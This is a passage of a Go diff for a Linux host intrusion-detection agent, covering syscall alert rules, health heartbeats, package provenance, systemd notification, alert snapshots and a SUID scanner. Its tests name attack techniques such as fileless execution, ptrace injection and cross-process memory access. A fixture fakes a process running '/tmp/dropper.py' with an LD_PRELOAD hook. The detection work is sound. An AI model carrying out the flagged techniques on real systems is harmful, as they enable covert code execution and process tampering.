return SyscallEvent{
PID: 10, PPID: 1, UID: 1000, Comm: "hoxha", Syscall: name,
Args: [6]uint64{arg0, 0, arg2},
}
}
func TestDefaultSyscallRulesMatchPython(t *testing.T) {
engine := DefaultSyscallRuleEngine()
tests := []struct {
event SyscallEvent
sid int
}{
{syscallEvent("mprotect", 0, 0x6), 100060},
{syscallEvent("mmap", 0, 0x7), 100061},
{syscallEvent("memfd_create", 0, 0), 100062},
{syscallEvent("ptrace", 16, 0), 100063},
{syscallEvent("ptrace", 0x4206, 0), 100063},
{syscallEvent("prctl", 22, 0), 100064},
{syscallEvent("seccomp", 0, 0), 100064},
{syscallEvent("process_vm_readv", 4242, 0), 100065},
{syscallEvent("process_vm_writev", 4242, 0), 100065},
{syscallEvent("mlock", 0, 0), 100066},
{syscallEvent("mlockall", 0, 0), 100066},
}
for _, test := range tests {
found := false
for _, alert := range engine.Match(test.event) {
if alert.SID == test.sid {
found = true
}
}
if !found {
t.Fatalf("sid %d did not match %#v", test.sid, test.event)
}
}
if alerts := engine.Match(syscallEvent("mprotect", 0, 0x5)); len(alerts) != 0 {
t.Fatalf("read+exec mprotect matched: %#v", alerts)
}
if alerts := engine.Match(syscallEvent("ptrace", 3, 0)); len(alerts) != 0 {
t.Fatalf("non-sensitive ptrace matched: %#v", alerts)
}
}
func TestSyscallAlertContract(t *testing.T) {
event := syscallEvent("memfd_create", 1, 0)
event.Text = "payload"
alert := DefaultSyscallRuleEngine().Match(event)[0]
if alert.SID != 100062 || alert.Severity != "MEDIUM" ||
alert.Signature != "syscall_rule.fileless-execution" ||
alert.Key != "syscall:100062:10:memfd_create:1:0" ||
!strings.Contains(alert.Detail, "args=[0x1, 0x0, 0x0, 0x0] text=[payload]") {
t.Fatalf("unexpected alert: %#v", alert)
}
}

View file

@ -0,0 +1,90 @@
// SPDX-License-Identifier: GPL-3.0-or-later
// Package health persists the migration service liveness marker.
package health
import (
"fmt"
"os"
"path/filepath"
"strconv"
"strings"
"time"
)
const Filename = "heartbeat"
const Schema = "enodia.go.health.v1"
// Status is the stable machine-readable result returned by the health command.
type Status struct {
Schema string `json:"schema"`
Healthy bool `json:"healthy"`
Heartbeat string `json:"heartbeat,omitempty"`
AgeSeconds int64 `json:"age_seconds,omitempty"`
MaxAgeSeconds int64 `json:"max_age_seconds"`
Detail string `json:"detail"`
}
// WriteHeartbeat atomically stores a Unix timestamp in the state directory.
// A stale retained value is intentional: watchdogs can distinguish a stopped
// or wedged process from a service that has never completed a sweep.
func WriteHeartbeat(stateDir string, now time.Time) error {
if stateDir == "" {
return fmt.Errorf("state directory is required")
}
if err := os.MkdirAll(stateDir, 0o750); err != nil {
return fmt.Errorf("create heartbeat directory: %w", err)
}
path := filepath.Join(stateDir, Filename)
temporary := path + ".tmp"
content := []byte(strconv.FormatInt(now.Unix(), 10) + "\n")
if err := os.WriteFile(temporary, content, 0o600); err != nil {
return fmt.Errorf("write heartbeat: %w", err)
}
if err := os.Rename(temporary, path); err != nil {
return fmt.Errorf("replace heartbeat: %w", err)
}
if err := os.Chmod(path, 0o600); err != nil {
return fmt.Errorf("protect heartbeat: %w", err)
}
return nil
}
// ReadHeartbeat loads the retained Unix timestamp.
func ReadHeartbeat(stateDir string) (time.Time, error) {
raw, err := os.ReadFile(filepath.Join(stateDir, Filename))
if err != nil {
return time.Time{}, err
}
seconds, err := strconv.ParseInt(strings.TrimSpace(string(raw)), 10, 64)
if err != nil {
return time.Time{}, fmt.Errorf("parse heartbeat: %w", err)
}
return time.Unix(seconds, 0), nil
}
// Check evaluates the retained heartbeat against the configured maximum age.
// Missing or malformed state is represented in the result instead of returned
// as an error so callers can always emit a complete health record.
func Check(stateDir string, now time.Time, maxAge time.Duration) Status {
status := Status{Schema: Schema, MaxAgeSeconds: int64(maxAge / time.Second)}
heartbeat, err := ReadHeartbeat(stateDir)
if err != nil {
status.Detail = "heartbeat unavailable: " + err.Error()
return status
}
age := now.Sub(heartbeat)
if age < 0 {
age = 0
}
status.Heartbeat = heartbeat.Local().Format(time.RFC3339)
status.AgeSeconds = int64(age / time.Second)
status.Healthy = age <= maxAge
if status.Healthy {
status.Detail = "heartbeat is fresh"
} else {
status.Detail = "heartbeat is stale"
}
return status
}

View file

@ -0,0 +1,71 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package health
import (
"os"
"path/filepath"
"testing"
"time"
)
func TestHeartbeatRoundTripAndPermissions(t *testing.T) {
directory := filepath.Join(t.TempDir(), "state")
want := time.Unix(1_753_012_345, 987_654_321)
if err := WriteHeartbeat(directory, want); err != nil {
t.Fatal(err)
}
got, err := ReadHeartbeat(directory)
if err != nil {
t.Fatal(err)
}
if !got.Equal(time.Unix(want.Unix(), 0)) {
t.Fatalf("heartbeat=%s want=%s", got, want)
}
info, err := os.Stat(filepath.Join(directory, Filename))
if err != nil {
t.Fatal(err)
}
if got := info.Mode().Perm(); got != 0o600 {
t.Fatalf("mode=%#o", got)
}
if _, err := os.Stat(filepath.Join(directory, Filename+".tmp")); !os.IsNotExist(err) {
t.Fatalf("temporary heartbeat remains: %v", err)
}
}
func TestHeartbeatRejectsMissingDirectory(t *testing.T) {
if err := WriteHeartbeat("", time.Now()); err == nil {
t.Fatal("empty directory accepted")
}
}
func TestReadHeartbeatRejectsInvalidContent(t *testing.T) {
directory := t.TempDir()
if err := os.WriteFile(filepath.Join(directory, Filename), []byte("invalid\n"), 0o600); err != nil {
t.Fatal(err)
}
if _, err := ReadHeartbeat(directory); err == nil {
t.Fatal("invalid heartbeat accepted")
}
}
func TestCheckReportsFreshStaleAndMissing(t *testing.T) {
directory := t.TempDir()
now := time.Unix(2_000, 0)
if err := WriteHeartbeat(directory, now.Add(-30*time.Second)); err != nil {
t.Fatal(err)
}
fresh := Check(directory, now, time.Minute)
if !fresh.Healthy || fresh.AgeSeconds != 30 || fresh.Detail != "heartbeat is fresh" {
t.Fatalf("fresh=%#v", fresh)
}
stale := Check(directory, now, 10*time.Second)
if stale.Healthy || stale.Detail != "heartbeat is stale" || stale.MaxAgeSeconds != 10 {
t.Fatalf("stale=%#v", stale)
}
missing := Check(filepath.Join(directory, "missing"), now, time.Minute)
if missing.Healthy || missing.Detail == "" {
t.Fatalf("missing=%#v", missing)
}
}

View file

@ -29,9 +29,17 @@ type MemoryMap struct {
// State is one injectable detector sweep, equivalent to the Python
// SystemState boundary.
type State struct {
Processes []Process `json:"processes"`
Sockets []Socket `json:"sockets"`
LDPreload string `json:"ld_preload"`
Processes []Process `json:"processes"`
Sockets []Socket `json:"sockets"`
LDPreload string `json:"ld_preload"`
ListenerBaseline []string `json:"listener_baseline"`
SUIDBaseline []string `json:"suid_baseline"`
SUIDBinaries []string `json:"suid_binaries"`
PersistSince *float64 `json:"persist_since"`
PersistenceFiles map[string]float64 `json:"persistence_files"`
FirstSeenInitialized bool `json:"first_seen_initialized"`
FirstSeenPublicDestinations map[string][]string `json:"first_seen_public_destinations"`
FirstSeenListenerPorts map[string][]string `json:"first_seen_listener_ports"`
}
// Socket matches the Python SystemState socket view. Nil inode/PID values

View file

@ -0,0 +1,70 @@
// SPDX-License-Identifier: GPL-3.0-or-later
// Package provenance answers "is this file shipped by an installed package?".
// Ownership raises confidence that a binary is legitimate; it never proves
// safety, so callers use it to suppress or rank alerts, not to delete evidence.
package provenance
import (
"context"
"os/exec"
"strings"
"sync"
"time"
)
var (
mu sync.Mutex
tool *string
cache = map[string]bool{}
)
func packageTool() string {
if tool != nil {
return *tool
}
found := ""
for _, name := range []string{"pacman", "dpkg", "rpm"} {
if _, err := exec.LookPath(name); err == nil {
found = name
break
}
}
tool = &found
return found
}
func query(name, path string) bool {
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
switch name {
case "pacman":
output, err := exec.CommandContext(ctx, "pacman", "-Qo", path).Output()
return err == nil && strings.Contains(string(output), "owned by")
case "dpkg":
output, err := exec.CommandContext(ctx, "dpkg", "-S", path).Output()
return err == nil && strings.Contains(string(output), ":")
case "rpm":
output, err := exec.CommandContext(ctx, "rpm", "-qf", path).Output()
return err == nil && !strings.Contains(string(output), "not owned")
}
return false
}
// IsPackageOwned reports whether path belongs to an installed package.
// Results are cached because package ownership is stable within a sweep run.
func IsPackageOwned(path string) bool {
if path == "" || path == "(deleted)" {
return false
}
path = strings.ReplaceAll(path, " (deleted)", "")
mu.Lock()
defer mu.Unlock()
if owned, seen := cache[path]; seen {
return owned
}
name := packageTool()
owned := name != "" && query(name, path)
cache[path] = owned
return owned
}

View file

@ -19,8 +19,9 @@ var eventTypes = map[string]bool{
"alert": true, "incident": true, "status": true,
}
// Status matches the required enodia.status.v1 fields. The prototype sidecar
// has no retained snapshots yet, so those counts remain empty/zero.
// Status matches the required enodia.status.v1 fields. Agent-level callers use
// zero retention values; the service executable fills them from its optional
// snapshot store immediately before emitting a status envelope.
type Status struct {
Schema string `json:"schema"`
Version string `json:"version"`

View file

@ -0,0 +1,49 @@
// SPDX-License-Identifier: GPL-3.0-or-later
// Package sdnotify implements the small systemd notification subset needed by
// the service binary without adding a runtime dependency.
package sdnotify
import (
"fmt"
"net"
"os"
"strings"
)
// Notifier sends state records to the socket inherited from systemd. An empty
// socket makes Notify a no-op so the agent behaves identically outside a unit.
type Notifier struct {
socket string
}
// FromEnvironment returns a notifier for systemd's NOTIFY_SOCKET contract.
func FromEnvironment() Notifier {
return New(os.Getenv("NOTIFY_SOCKET"))
}
// New constructs a notifier for an explicit socket, primarily for tests.
func New(socket string) Notifier {
return Notifier{socket: socket}
}
// Notify sends one newline-delimited systemd state record.
func (n Notifier) Notify(state string) error {
if n.socket == "" {
return nil
}
if state == "" || strings.ContainsRune(state, '\x00') {
return fmt.Errorf("invalid empty or NUL-containing notification")
}
connection, err := net.DialUnix(
"unixgram", nil, &net.UnixAddr{Name: n.socket, Net: "unixgram"},
)
if err != nil {
return fmt.Errorf("connect notify socket: %w", err)
}
defer connection.Close()
if _, err := connection.Write([]byte(state)); err != nil {
return fmt.Errorf("write notify socket: %w", err)
}
return nil
}

View file

@ -0,0 +1,48 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package sdnotify
import (
"net"
"path/filepath"
"testing"
"time"
)
func TestDisabledNotifierIsNoOp(t *testing.T) {
if err := New("").Notify("READY=1"); err != nil {
t.Fatalf("disabled notifier: %v", err)
}
}
func TestNotifierSendsDatagram(t *testing.T) {
path := filepath.Join(t.TempDir(), "notify.sock")
listener, err := net.ListenUnixgram("unixgram", &net.UnixAddr{Name: path, Net: "unixgram"})
if err != nil {
t.Fatal(err)
}
defer listener.Close()
if err := New(path).Notify("READY=1\nSTATUS=initialized"); err != nil {
t.Fatal(err)
}
if err := listener.SetReadDeadline(time.Now().Add(time.Second)); err != nil {
t.Fatal(err)
}
buffer := make([]byte, 128)
read, _, err := listener.ReadFromUnix(buffer)
if err != nil {
t.Fatal(err)
}
if got := string(buffer[:read]); got != "READY=1\nSTATUS=initialized" {
t.Fatalf("notification=%q", got)
}
}
func TestNotifierRejectsInvalidState(t *testing.T) {
if err := New("unused").Notify(""); err == nil {
t.Fatal("empty state accepted")
}
if err := New("unused").Notify("READY=1\x00STATUS=bad"); err == nil {
t.Fatal("NUL state accepted")
}
}

View file

@ -0,0 +1,385 @@
// SPDX-License-Identifier: GPL-3.0-or-later
// Package snapshot retains Python-compatible alert snapshot pairs for the Go
// migration service. It intentionally leaves incident grouping and rich
// post-alert enrichment to later parity tranches while preserving the stable
// v1 fields consumed by existing read-only tools.
package snapshot
import (
"encoding/json"
"fmt"
"os"
"path/filepath"
"sort"
"strconv"
"strings"
"sync"
"time"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
const Schema = "enodia.alert.snapshot.v1"
type ProcessDetail struct {
PID int `json:"pid"`
Comm string `json:"comm"`
Exe string `json:"exe"`
CWD string `json:"cwd"`
Cmdline string `json:"cmdline"`
PPID int `json:"ppid"`
PPIDComm string `json:"ppid_comm"`
UID int `json:"uid"`
LDPreload string `json:"ld_preload"`
FDs map[string]string `json:"fds"`
}
type Report struct {
Schema string `json:"schema"`
Time string `json:"time"`
Host string `json:"host"`
Severity string `json:"severity"`
IncidentID *string `json:"incident_id"`
Alerts []model.Alert `json:"alerts"`
Processes []ProcessDetail `json:"processes"`
Enrichment map[string]any `json:"enrichment"`
}
type Stats struct {
Total int
Counts map[string]int
LastAlert *string
}
type Store struct {
Dir string
ProcRoot string
MaxCount int
MaxAgeDays int
Now func() time.Time
Collect func(int) ProcessDetail
mu sync.Mutex
}
// New preflights the isolated snapshot directory before service readiness.
func New(dir, procRoot string, maxCount, maxAgeDays int) (*Store, error) {
if dir == "" {
return nil, fmt.Errorf("snapshot directory is required")
}
if maxCount < 0 || maxAgeDays < 0 {
return nil, fmt.Errorf("snapshot retention values must be non-negative")
}
if procRoot == "" {
procRoot = "/proc"
}
if err := os.MkdirAll(dir, 0o750); err != nil {
return nil, fmt.Errorf("create snapshot directory: %w", err)
}
probe, err := os.CreateTemp(dir, ".snapshot-preflight-*")
if err != nil {
return nil, fmt.Errorf("preflight snapshot directory: %w", err)
}
probePath := probe.Name()
if err := probe.Chmod(0o600); err != nil {
probe.Close()
os.Remove(probePath)
return nil, fmt.Errorf("protect snapshot preflight: %w", err)
}
if err := probe.Close(); err != nil {
os.Remove(probePath)
return nil, fmt.Errorf("close snapshot preflight: %w", err)
}
if err := os.Remove(probePath); err != nil {
return nil, fmt.Errorf("remove snapshot preflight: %w", err)
}
store := &Store{Dir: dir, ProcRoot: procRoot, MaxCount: maxCount, MaxAgeDays: maxAgeDays, Now: time.Now}
store.Collect = func(pid int) ProcessDetail { return collectProcess(procRoot, pid) }
if err := store.Prune(); err != nil {
return nil, err
}
return store, nil
}
// CaptureEvent merges one alert envelope into its second-granularity snapshot.
// Python filenames use second precision, so merging avoids overwriting sibling
// alerts emitted by one poll sweep or concurrent kernel sources.
func (s *Store) CaptureEvent(event map[string]any) (string, error) {
if event["event_type"] != "alert" {
return "", fmt.Errorf("snapshot requires an alert event")
}
alert, err := decodeAlert(event["alert"])
if err != nil {
return "", err
}
timestamp, ok := event["timestamp"].(string)
if !ok || timestamp == "" {
return "", fmt.Errorf("snapshot event timestamp is required")
}
captured, err := time.Parse(time.RFC3339Nano, timestamp)
if err != nil {
return "", fmt.Errorf("parse snapshot timestamp: %w", err)
}
host, _ := event["host"].(string)
base := filepath.Join(s.Dir, "alert-"+captured.Format("20060102-150405"))
s.mu.Lock()
defer s.mu.Unlock()
report := Report{
Schema: Schema, Time: timestamp, Host: host, Severity: alert.Severity,
Alerts: []model.Alert{}, Processes: []ProcessDetail{},
Enrichment: map[string]any{"source": "enodia-sentinel-go"},
}
jsonPath := base + ".json"
if raw, err := os.ReadFile(jsonPath); err == nil {
if err := json.Unmarshal(raw, &report); err != nil {
return "", fmt.Errorf("decode existing snapshot: %w", err)
}
if report.Schema != Schema {
return "", fmt.Errorf("existing snapshot has schema %q", report.Schema)
}
} else if !os.IsNotExist(err) {
return "", fmt.Errorf("read existing snapshot: %w", err)
}
report.Alerts = append(report.Alerts, alert)
report.Severity = maxSeverity(report.Severity, alert.Severity)
report.Processes = s.collectProcesses(report.Alerts)
if report.Enrichment == nil {
report.Enrichment = map[string]any{"source": "enodia-sentinel-go"}
}
if err := writeJSONAtomic(jsonPath, report); err != nil {
return "", err
}
if err := writeAtomic(base+".log", []byte(formatText(report))); err != nil {
return "", err
}
if err := s.pruneLocked(); err != nil {
return "", err
}
return filepath.Base(base + ".log"), nil
}
func (s *Store) collectProcesses(alerts []model.Alert) []ProcessDetail {
seen := map[int]bool{}
var pids []int
for _, alert := range alerts {
for _, pid := range alert.PIDs {
if pid > 0 && !seen[pid] {
seen[pid] = true
pids = append(pids, pid)
}
}
}
sort.Ints(pids)
result := make([]ProcessDetail, 0, len(pids))
for _, pid := range pids {
result = append(result, s.Collect(pid))
}
return result
}
// SnapshotStats prunes first, then derives status claims from retained,
// parseable snapshot files. Calling it for every status emission keeps the age
// bound active even when a quiet host produces no new alert snapshots.
func (s *Store) SnapshotStats() (Stats, error) {
s.mu.Lock()
defer s.mu.Unlock()
if err := s.pruneLocked(); err != nil {
return Stats{}, err
}
stats := Stats{Counts: map[string]int{}}
paths, _ := filepath.Glob(filepath.Join(s.Dir, "alert-*.json"))
for _, path := range paths {
raw, err := os.ReadFile(path)
if err != nil {
continue
}
var report Report
if json.Unmarshal(raw, &report) != nil || report.Schema != Schema {
continue
}
stats.Total++
stats.Counts[report.Severity]++
if stats.LastAlert == nil || report.Time > *stats.LastAlert {
value := report.Time
stats.LastAlert = &value
}
}
return stats, nil
}
// Prune applies count and age limits to JSON/text pairs.
func (s *Store) Prune() error {
s.mu.Lock()
defer s.mu.Unlock()
return s.pruneLocked()
}
func (s *Store) pruneLocked() error {
paths, err := filepath.Glob(filepath.Join(s.Dir, "alert-*.json"))
if err != nil {
return fmt.Errorf("list snapshots: %w", err)
}
type candidate struct {
path string
mod time.Time
}
items := make([]candidate, 0, len(paths))
for _, path := range paths {
info, err := os.Stat(path)
if err == nil {
items = append(items, candidate{path: path, mod: info.ModTime()})
}
}
sort.Slice(items, func(i, j int) bool { return items[i].mod.After(items[j].mod) })
cutoff := time.Time{}
if s.MaxAgeDays > 0 {
cutoff = s.Now().Add(-time.Duration(s.MaxAgeDays) * 24 * time.Hour)
}
kept := 0
for _, item := range items {
remove := (!cutoff.IsZero() && item.mod.Before(cutoff)) || (s.MaxCount > 0 && kept >= s.MaxCount)
if remove {
if err := removePair(item.path); err != nil {
return err
}
continue
}
kept++
}
return nil
}
func decodeAlert(value any) (model.Alert, error) {
raw, err := json.Marshal(value)
if err != nil {
return model.Alert{}, fmt.Errorf("encode snapshot alert: %w", err)
}
var alert model.Alert
if err := json.Unmarshal(raw, &alert); err != nil {
return model.Alert{}, fmt.Errorf("decode snapshot alert: %w", err)
}
if alert.SID == 0 || alert.Signature == "" || alert.Severity == "" {
return model.Alert{}, fmt.Errorf("snapshot alert is incomplete")
}
return alert, nil
}
func maxSeverity(left, right string) string {
rank := map[string]int{"MEDIUM": 1, "HIGH": 2, "CRITICAL": 3}
if rank[right] > rank[left] {
return right
}
return left
}
func writeJSONAtomic(path string, value any) error {
raw, err := json.MarshalIndent(value, "", " ")
if err != nil {
return fmt.Errorf("encode snapshot: %w", err)
}
return writeAtomic(path, append(raw, '\n'))
}
func writeAtomic(path string, raw []byte) error {
temporary := path + ".tmp"
if err := os.WriteFile(temporary, raw, 0o600); err != nil {
return fmt.Errorf("write snapshot: %w", err)
}
if err := os.Rename(temporary, path); err != nil {
return fmt.Errorf("replace snapshot: %w", err)
}
if err := os.Chmod(path, 0o600); err != nil {
return fmt.Errorf("protect snapshot: %w", err)
}
return nil
}
func removePair(jsonPath string) error {
base := strings.TrimSuffix(jsonPath, ".json")
for _, path := range []string{base + ".json", base + ".log"} {
if err := os.Remove(path); err != nil && !os.IsNotExist(err) {
return fmt.Errorf("remove expired snapshot: %w", err)
}
}
return nil
}
func formatText(report Report) string {
var output strings.Builder
fmt.Fprintln(&output, "=== ENODIA SENTINEL ALERT ===")
fmt.Fprintln(&output, "Time: ", report.Time)
fmt.Fprintln(&output, "Host: ", report.Host)
fmt.Fprintln(&output, "Severity:", report.Severity)
fmt.Fprintln(&output, "\n## Triggering detections")
for _, alert := range report.Alerts {
fmt.Fprintf(&output, " [%s] sid:%d %s (%s) — %s\n", alert.Severity, alert.SID, alert.Signature, alert.Classtype, alert.Detail)
}
fmt.Fprintln(&output, "\n## Flagged process detail")
for _, process := range report.Processes {
fmt.Fprintf(&output, " pid:%d comm:%s exe:%s ppid:%d uid:%d cmdline:%s\n", process.PID, process.Comm, process.Exe, process.PPID, process.UID, process.Cmdline)
}
if len(report.Processes) == 0 {
fmt.Fprintln(&output, " (no specific pid in alerts)")
}
return output.String()
}
func collectProcess(procRoot string, pid int) ProcessDetail {
base := filepath.Join(procRoot, strconv.Itoa(pid))
detail := ProcessDetail{PID: pid, FDs: map[string]string{}}
detail.Comm = readText(filepath.Join(base, "comm"))
detail.Cmdline = strings.TrimSpace(strings.ReplaceAll(readRaw(filepath.Join(base, "cmdline")), "\x00", " "))
detail.Exe = readLink(filepath.Join(base, "exe"))
detail.CWD = readLink(filepath.Join(base, "cwd"))
status := readRaw(filepath.Join(base, "status"))
for _, line := range strings.Split(status, "\n") {
fields := strings.Fields(line)
if len(fields) < 2 {
continue
}
switch fields[0] {
case "PPid:":
detail.PPID, _ = strconv.Atoi(fields[1])
case "Uid:":
detail.UID, _ = strconv.Atoi(fields[1])
}
}
detail.PPIDComm = readText(filepath.Join(procRoot, strconv.Itoa(detail.PPID), "comm"))
for _, item := range strings.Split(readRaw(filepath.Join(base, "environ")), "\x00") {
if strings.HasPrefix(item, "LD_PRELOAD=") {
detail.LDPreload = strings.TrimPrefix(item, "LD_PRELOAD=")
}
}
entries, _ := os.ReadDir(filepath.Join(base, "fd"))
sort.Slice(entries, func(i, j int) bool {
left, leftErr := strconv.Atoi(entries[i].Name())
right, rightErr := strconv.Atoi(entries[j].Name())
if leftErr == nil && rightErr == nil {
return left < right
}
return entries[i].Name() < entries[j].Name()
})
for _, entry := range entries {
if len(detail.FDs) >= 40 {
break
}
if target := readLink(filepath.Join(base, "fd", entry.Name())); target != "" {
detail.FDs[entry.Name()] = target
}
}
return detail
}
func readRaw(path string) string {
raw, _ := os.ReadFile(path)
return string(raw)
}
func readText(path string) string { return strings.TrimSpace(readRaw(path)) }
func readLink(path string) string {
target, _ := os.Readlink(path)
return target
}

View file

@ -0,0 +1,207 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package snapshot
import (
"encoding/json"
"os"
"path/filepath"
"testing"
"time"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
func TestCaptureEventWritesCompatiblePairAndMergesSameSecond(t *testing.T) {
store, err := New(t.TempDir(), "/unused", 10, 30)
if err != nil {
t.Fatal(err)
}
store.Collect = func(pid int) ProcessDetail {
return ProcessDetail{PID: pid, Comm: "python3", PPID: 1, UID: 1000, FDs: map[string]string{"1": "socket:[9]"}}
}
first := alertEvent("2026-07-22T10:11:12.100-07:00", model.Alert{
SID: 100069, Severity: "HIGH", Signature: "host_rule.persistence-write",
Classtype: "persistence-write", Key: "one", Detail: "first", PIDs: []int{42},
})
second := alertEvent("2026-07-22T10:11:12.900-07:00", model.Alert{
SID: 100001, Severity: "CRITICAL", Signature: "exec_rule.fileless",
Classtype: "execution", Key: "two", Detail: "second", PIDs: []int{7, 42},
})
name, err := store.CaptureEvent(first)
if err != nil {
t.Fatal(err)
}
if name != "alert-20260722-101112.log" {
t.Fatalf("name=%q", name)
}
if _, err := store.CaptureEvent(second); err != nil {
t.Fatal(err)
}
base := filepath.Join(store.Dir, "alert-20260722-101112")
raw, err := os.ReadFile(base + ".json")
if err != nil {
t.Fatal(err)
}
var report Report
if err := json.Unmarshal(raw, &report); err != nil {
t.Fatal(err)
}
if report.Schema != Schema || report.IncidentID != nil || report.Severity != "CRITICAL" ||
len(report.Alerts) != 2 || len(report.Processes) != 2 || report.Enrichment["source"] != "enodia-sentinel-go" {
t.Fatalf("report=%#v", report)
}
for _, path := range []string{base + ".json", base + ".log"} {
info, err := os.Stat(path)
if err != nil {
t.Fatal(err)
}
if info.Mode().Perm() != 0o600 {
t.Fatalf("%s mode=%#o", path, info.Mode().Perm())
}
}
stats, err := store.SnapshotStats()
if err != nil {
t.Fatal(err)
}
if stats.Total != 1 || stats.Counts["CRITICAL"] != 1 || stats.LastAlert == nil || *stats.LastAlert != first["timestamp"] {
t.Fatalf("stats=%#v", stats)
}
}
func TestRetentionPrunesCountAndAgeAsPairs(t *testing.T) {
store, err := New(t.TempDir(), "/unused", 2, 1)
if err != nil {
t.Fatal(err)
}
store.Collect = func(pid int) ProcessDetail { return ProcessDetail{PID: pid, FDs: map[string]string{}} }
now := time.Date(2026, 7, 22, 12, 0, 0, 0, time.UTC)
store.Now = func() time.Time { return now }
for index, timestamp := range []string{
"2026-07-20T10:00:00Z", "2026-07-22T10:00:01Z", "2026-07-22T10:00:02Z",
} {
event := alertEvent(timestamp, model.Alert{SID: 100010 + index, Severity: "HIGH", Signature: "test", Classtype: "test", Key: "key", Detail: "detail"})
if _, err := store.CaptureEvent(event); err != nil {
t.Fatal(err)
}
base := filepath.Join(store.Dir, "alert-"+mustTime(t, timestamp).Format("20060102-150405"))
mod := now.Add(time.Duration(index-2) * time.Hour)
if index == 0 {
mod = now.Add(-48 * time.Hour)
}
for _, suffix := range []string{".json", ".log"} {
if err := os.Chtimes(base+suffix, mod, mod); err != nil {
t.Fatal(err)
}
}
}
// A final capture runs pruning after the test-controlled mtimes are set.
if _, err := store.CaptureEvent(alertEvent("2026-07-22T10:00:03Z", model.Alert{SID: 100099, Severity: "MEDIUM", Signature: "test", Classtype: "test", Key: "last", Detail: "last"})); err != nil {
t.Fatal(err)
}
jsonFiles, _ := filepath.Glob(filepath.Join(store.Dir, "alert-*.json"))
logFiles, _ := filepath.Glob(filepath.Join(store.Dir, "alert-*.log"))
if len(jsonFiles) != 2 || len(logFiles) != 2 {
t.Fatalf("retained json=%v log=%v", jsonFiles, logFiles)
}
if _, err := os.Stat(filepath.Join(store.Dir, "alert-20260720-100000.json")); !os.IsNotExist(err) {
t.Fatalf("old snapshot not pruned: %v", err)
}
}
func TestNewPrunesExpiredPairBeforeReadiness(t *testing.T) {
directory := t.TempDir()
base := filepath.Join(directory, "alert-20200101-000000")
old := time.Now().Add(-48 * time.Hour)
for _, suffix := range []string{".json", ".log"} {
if err := os.WriteFile(base+suffix, []byte("old"), 0o600); err != nil {
t.Fatal(err)
}
if err := os.Chtimes(base+suffix, old, old); err != nil {
t.Fatal(err)
}
}
if _, err := New(directory, "/unused", 300, 1); err != nil {
t.Fatal(err)
}
for _, suffix := range []string{".json", ".log"} {
if _, err := os.Stat(base + suffix); !os.IsNotExist(err) {
t.Fatalf("expired %s remains: %v", suffix, err)
}
}
probes, _ := filepath.Glob(filepath.Join(directory, ".snapshot-preflight-*"))
if len(probes) != 0 {
t.Fatalf("preflight files remain: %v", probes)
}
}
func TestCaptureRejectsCorruptExistingSnapshot(t *testing.T) {
store, err := New(t.TempDir(), "/unused", 10, 30)
if err != nil {
t.Fatal(err)
}
path := filepath.Join(store.Dir, "alert-20260722-101112.json")
if err := os.WriteFile(path, []byte("broken"), 0o600); err != nil {
t.Fatal(err)
}
_, err = store.CaptureEvent(alertEvent("2026-07-22T10:11:12Z", model.Alert{SID: 1, Severity: "HIGH", Signature: "test", Classtype: "test", Key: "key", Detail: "detail"}))
if err == nil {
t.Fatal("corrupt snapshot accepted")
}
}
func TestCollectProcessBuildsPythonCompatibleContext(t *testing.T) {
procRoot := t.TempDir()
processDir := filepath.Join(procRoot, "42")
parentDir := filepath.Join(procRoot, "7")
if err := os.MkdirAll(filepath.Join(processDir, "fd"), 0o755); err != nil {
t.Fatal(err)
}
if err := os.MkdirAll(parentDir, 0o755); err != nil {
t.Fatal(err)
}
files := map[string]string{
filepath.Join(processDir, "comm"): "python3\n",
filepath.Join(processDir, "cmdline"): "python3\x00/tmp/dropper.py\x00",
filepath.Join(processDir, "status"): "Name:\tpython3\nPPid:\t7\nUid:\t1000\t1000\t1000\t1000\n",
filepath.Join(processDir, "environ"): "HOME=/tmp\x00LD_PRELOAD=/tmp/hook.so\x00",
filepath.Join(parentDir, "comm"): "nginx\n",
}
for path, content := range files {
if err := os.WriteFile(path, []byte(content), 0o600); err != nil {
t.Fatal(err)
}
}
for path, target := range map[string]string{
filepath.Join(processDir, "exe"): "/usr/bin/python3",
filepath.Join(processDir, "cwd"): "/tmp",
filepath.Join(processDir, "fd", "1"): "socket:[99]",
} {
if err := os.Symlink(target, path); err != nil {
t.Fatal(err)
}
}
detail := collectProcess(procRoot, 42)
if detail.PID != 42 || detail.Comm != "python3" || detail.Cmdline != "python3 /tmp/dropper.py" ||
detail.Exe != "/usr/bin/python3" || detail.CWD != "/tmp" || detail.PPID != 7 ||
detail.PPIDComm != "nginx" || detail.UID != 1000 || detail.LDPreload != "/tmp/hook.so" ||
detail.FDs["1"] != "socket:[99]" {
t.Fatalf("detail=%#v", detail)
}
}
func alertEvent(timestamp string, alert model.Alert) map[string]any {
return map[string]any{
"schema": "enodia.event.v1", "event_type": "alert", "timestamp": timestamp,
"host": "host-a", "alert": alert,
}
}
func mustTime(t *testing.T, value string) time.Time {
t.Helper()
parsed, err := time.Parse(time.RFC3339Nano, value)
if err != nil {
t.Fatal(err)
}
return parsed
}

View file

@ -0,0 +1,86 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package system
import (
"os"
"path/filepath"
"sort"
"syscall"
)
// ScanSUIDBinaries mirrors Python's deliberately conservative SUID/SGID walk.
// The primary root never crosses a filesystem boundary, while explicitly
// configured writable mounts are walked separately because tmpfs-backed paths
// are exactly where an attacker is likely to drop a privileged binary.
//
// Individual unreadable entries are ignored. Host filesystems are inherently
// racy and permission-sensitive, so one denied subtree must not discard the
// useful portion of a scan.
func ScanSUIDBinaries(root string, extraDirs []string) []string {
if root == "" {
root = "/"
}
result := make(map[string]bool)
rootInfo, err := os.Lstat(root)
if err == nil {
device, ok := deviceID(rootInfo)
if ok {
walkSUID(root, &device, result)
}
}
for _, directory := range extraDirs {
info, err := os.Lstat(directory)
if err != nil || !info.IsDir() {
continue
}
walkSUID(directory, nil, result)
}
paths := make([]string, 0, len(result))
for path := range result {
paths = append(paths, path)
}
sort.Strings(paths)
return paths
}
func walkSUID(root string, requiredDevice *uint64, result map[string]bool) {
stack := []string{root}
for len(stack) > 0 {
directory := stack[len(stack)-1]
stack = stack[:len(stack)-1]
entries, err := os.ReadDir(directory)
